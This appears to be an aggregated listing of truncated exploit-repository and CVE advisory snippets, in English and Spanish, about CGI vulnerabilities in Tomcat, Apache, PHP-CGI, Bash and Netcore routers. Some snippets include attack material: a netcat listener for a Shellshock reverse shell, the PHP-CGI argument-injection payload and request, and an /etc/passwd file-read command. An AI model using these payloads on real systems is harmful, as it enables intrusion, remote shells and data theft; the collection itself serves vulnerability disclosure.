CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI Exploit Script Description A Python script designed to exploit CGI vulnerabilities in Apache Tomcat servers by executing a reverse shell connection. Usage Example Features Automated exploit for Apache Tomcat CGI vulnerabilities Customizable target and attacker parameters Simple...

CVE-2026-101073

A security flaw has been discovered in Netcore NR289-GE 1.4.5102. Impacted is an unknown function of the file /bin/boa of the component CGI Dispatcher. Performing a manipulation results in improper authentication. The attack may be initiated remotely. The exploit has been released to the public a...

CVE-2026-101076

The Netcore NR289-GE (version 1.4.5102) is susceptible to a remote OS command injection vulnerability in the CGI Handler component. Specifically, the system function within the /set_ntp_server_ip.cgi file fails to properly sanitize the ntp_ip argument, allowing an attacker to execute arbitrary co...

EUVD-2026-88317

A vulnerability was detected in Netcore NR289-GE 1.4.5102. This affects the function system of the file /setntpserverip.cgi of the component CGI Handler. The manipulation of the argument ntpip results in os command injection. The attack can be executed remotely. The exploit is now public and may ...

CVE-2022-21587-Oracle-EBS-

Requisitos previos para que este exploit funcione: python3 incluyendo los módulos requests, os, sys, slipit uuencode Antes de ejecutar, asegúrate de usarlo solo con fines éticos Si el exploit falla al ejecutarse: Asegúrate de haber instalado los módulos prerrequisitos instalar requests pip3 insta...

CVE-2014-6271

CVE-2014-6271 python2.7 Comienza a escuchar en tu máquina. nc -l -p 4444 Ejecuta el script de Python según la siguiente regla: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Disfruta...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei Carga útil: ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input URL de prueba: /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload /cgi-bin/php.exepayload Ref:...

CVE-2026-101072

A vulnerability was identified in Netcore NR289-GE 1.4.5102. This issue affects the function system of the file /apip.cgi of the component CGI Handler. Such manipulation of the argument ip leads to os command injection. The attack can be launched remotely. The exploit is publicly available and...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE Un script python3 para el CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI y RCE. RCE requiere que cgi-bin esté habilitado. Comenzando Ejecutando el programa LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t...

CVE-2026-101073

A security flaw in the CGI Dispatcher component of Netcore NR289-GE 1.4.5102 allows for improper authentication via an unknown function in the /bin/boa file. This vulnerability can be triggered through remote manipulation, potentially allowing unauthorized access. While the documents confirm that...

EUVD-2026-88293

A security flaw has been discovered in Netcore NR289-GE 1.4.5102. Impacted is an unknown function of the file /bin/boa of the component CGI Dispatcher. Performing a manipulation results in improper authentication. The attack may be initiated remotely. The exploit has been released to the public a...

CVE-2024-4577

CVE-2024-4577, Inyección de Argumentos en PHP-CGI ./CVE-2024-4577.sh /path/to/domains-list POC : POST /test.hello?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input HTTP/1.1 Host: host User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type: application/x-www-form-urlencoded...

EUVD-2026-88289

A vulnerability was identified in Netcore NR289-GE 1.4.5102. This issue affects the function system of the file /apip.cgi of the component CGI Handler. Such manipulation of the argument ip leads to os command injection. The attack can be launched remotely. The exploit is publicly available and...

CVE-2026-101072 Netcore NR289-GE CGI ap_ip.cgi system os command injection

A vulnerability was identified in Netcore NR289-GE 1.4.5102. This issue affects the function system of the file /apip.cgi of the component CGI Handler. Such manipulation of the argument ip leads to os command injection. The attack can be launched remotely. The exploit is publicly available and...

CVE-2026-101072

A vulnerability exists in Netcore NR289-GE 1.4.5102 within the CGI Handler component. Specifically, the /ap_ip.cgi file fails to properly handle the ip argument, which can lead to remote OS command injection . This vulnerability can be exploited over the network. An exploit is publicly available ...

CVE-2024-4577

CVE-2024-4577 Resumen CVE-2024-4577 es una vulnerabilidad de seguridad que afecta a servidores PHP en las siguientes versiones: PHP 8.3.x 8.3.8 y anteriores PHP 8.2.x 8.2.20 y anteriores PHP 8.1.x 8.1.29 y anteriores Todas las versiones anteriores a 8.0 Versiones no soportadas 7.x y 5.x Esta...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd Primero, obtén el hash MD5 de la contraseña de la cuenta 'admin'. Send: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windo...

CVE-2021-41773

Reproducción de CVE-2021-41773 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited v2.4.49 es una vulnerabilidad exclusiva de Apache. En versiones anteriores no existía la función apnormalizepath, que fue introducida en la versión v2.4.49...

CVE-2024-4577-EXPLOIT

CVE-2024-4577 - PHP CGI Argument Injection Remote Code Execution RCE In certain versions of PHP 8.1. before 8.1.29, 8.2. before 8.2.20, and 8.3. before 8.3.8, a critical vulnerability exists when using PHP with Apache and PHP-CGI on Windows. If the system is configured to use specific code pages,...

CVE-2019-0232

Entorno de vulnerabilidad Tomcat 8.5.39 Jdk 8u121 Editar el archivo web.xml cgi org.apache.catalina.servlets.CGIServlet debug 0 cgiPathPrefix WEB-INF/cgi-bin executable 5 cgi /cgi-bin/ Editar el archivo content.xml WEB-INF/web.xml $catalina.base/conf/web.xml !-- Manage...